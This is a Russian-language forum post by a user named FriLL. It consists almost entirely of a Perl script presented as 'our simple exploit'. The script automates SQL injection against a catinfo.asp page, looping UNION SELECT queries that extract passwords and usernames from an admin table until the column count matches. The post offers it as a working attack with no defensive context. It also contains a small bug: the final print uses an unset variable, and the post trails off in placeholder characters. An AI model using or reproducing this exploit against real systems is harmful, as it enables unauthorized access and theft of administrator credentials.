FriLL
Сообщений: 2539
Оценки: 335
Присоединился: 2007-08-11 17:14:26.703333
|
?? Наш нехитрый сплойт
#!/usr/bin/perl
use IO::Socket;
$host = $ARGV[0];
$path = $ARGV[1];
$port=80;
$se="error_occ";
$i=0;
while($se=~/error_occ/) {
socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
$iaddr = inet_aton($host);
$paddr = sockaddr_in($port, $iaddr);
connect(SOCK, $paddr);
$quest="GET $path/catinfo.asp?cat='%20union%20select%201,pass,user,1,1,1,1,1,1,1";
for($j=0; $j<$i;$j++) {
$quest.=",1";
}
$quest.="%20from%20tblAdm";
$quest.=" HTTP/1.1\n";
$quest.="Host: $host\n\n\r\n\n";
send (SOCK, $quest, 0);
$se="no_error";
while($data=<SOCK>) {
if ($data=~/Internal Server Error/ or $data=~/Database Engine error/) {
$se="error_occ";}}
close(SOCK);
$i++; }
print "[+]Optimal number of params found: ".$k."\n"; XXXXXXXXXXXXXXXX
|